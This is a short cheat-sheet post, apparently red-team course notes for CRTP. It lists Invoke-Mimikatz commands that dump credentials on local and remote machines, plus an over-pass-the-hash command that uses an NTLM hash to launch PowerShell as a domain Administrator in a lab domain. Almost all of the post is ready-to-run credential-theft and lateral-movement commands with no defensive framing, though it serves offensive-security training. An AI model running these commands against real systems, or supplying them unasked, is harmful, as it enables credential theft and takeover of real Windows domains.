Post

CRTP (Invoke-Mimikatz)

CRTP (Invoke-Mimikatz)

CRTP (Invoke-Mimikatz)

Invoke-Mimikatz

Dump credentials on a local machine

1
Invoke-Mimikatz -DumpCreds

Dump credentials on multiple remote machines

1
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")

“Over pass the hash” generate tokens from hashes

1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
This post is licensed under CC BY 4.0 by the author.